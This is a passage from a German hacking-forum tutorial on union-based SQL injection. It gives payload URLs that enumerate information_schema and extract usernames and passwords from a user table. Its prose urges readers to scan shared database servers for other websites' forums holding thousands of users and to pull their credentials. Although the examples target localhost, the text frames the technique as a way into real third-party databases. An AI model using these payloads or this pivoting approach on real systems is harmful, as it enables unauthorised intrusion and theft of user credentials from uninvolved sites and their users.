http://localhost:8888/sql.php?news=-1+union+select+concat_ws(0x3a,table_schema,table_name,column_name),2+from+information_schema.columns+limit+810,1--

Output: sqli:user:id

Ihr seht es kommen da einige Einträge zusammen. Das Variiert jedoch von Server zu Server. Bei manchen Systemen ist man schon mit Limit 300, in anderen Datenbanken unterwegs und auf manchen Servern erst ab 600. Fakt ist ihr könnt in großen Sprüngen soweit hoch zählen bis ihr nichts mehr von INFORMATION_SCHEMA im Output lest. Ab da solltet ihr dann in 10er Schritten vorgehen und auf User Tabellen achten. Sobald ihr dann natürlich auf was interessantes gestoßen seid notiert ihr euch die Tabellen-und Feldnamen und springt erstmal weiter. Denn, wenn auf einen Webserver mehrere Webseiten oder Foren liegen, dann teilen sich diese meistens einen einzigen Datenbank Dienst, das heisst also dass wenn ihr eine Seite mit popeligen 20 Usern injected, ihr Glück haben könnt und über information_schema ein Forum mit mehreren Tausend Usern findet. Ich solltet dann aber bedenken dass wenn ihr an Datenbanken von anderen Onlinepräsenzen wollt wieder den Datenbankname mit dem Tabellenname per . zu verbinden ;)

Sobald ihr dann eure Daten habt, ändert ihr einfach eure Injection so ab dass sie auf die Datenbank, die Tabelle und die Felder verweist:

http://localhost:8888/sql.php?news=99999999+union+select+concat_ws(0x3a,id,username,password),2+from+user+limit+0,1--

Wir haben also die Grundlegenden Techniken der SQL-Injection durchgearbeitet. Ich hoffe ihr habt verstanden dass es sich bei einem solchen Angriff um ganz einfach Logik handelt. Durch das manipulieren der Werte in der URL brecht ihr sozusagen, aus der eigentlichen Abfrage aus und fügt eure eigene ein.

Outro

So kommen wir zu dem Ende meines ersten selbst geschriebenen Tutorials für CNW. Ich hoffe ich konnte möglichst vielen Leuten einen ersten Überblick über das Angriffsszenario „SQL Injection“ vermitteln. Es ist gut möglich, dass immer noch Rechtschreibfehler oder eine fehlerhafte Zeichensetzung im Text vorhanden ist, diese können unkommentiert ignoriert werden oder ihr macht mich per PM drauf aufmerksam und ich werde es beheben.

Ebenso stehe ich für Fragen innerhalb dieses Threads bereit und versuche möglichst Zeitnah alle Fragen zu beantworten.

Sollte die Resonanz zu meinem Tutorial gut sein, werde ich weitere Tutorials schreiben.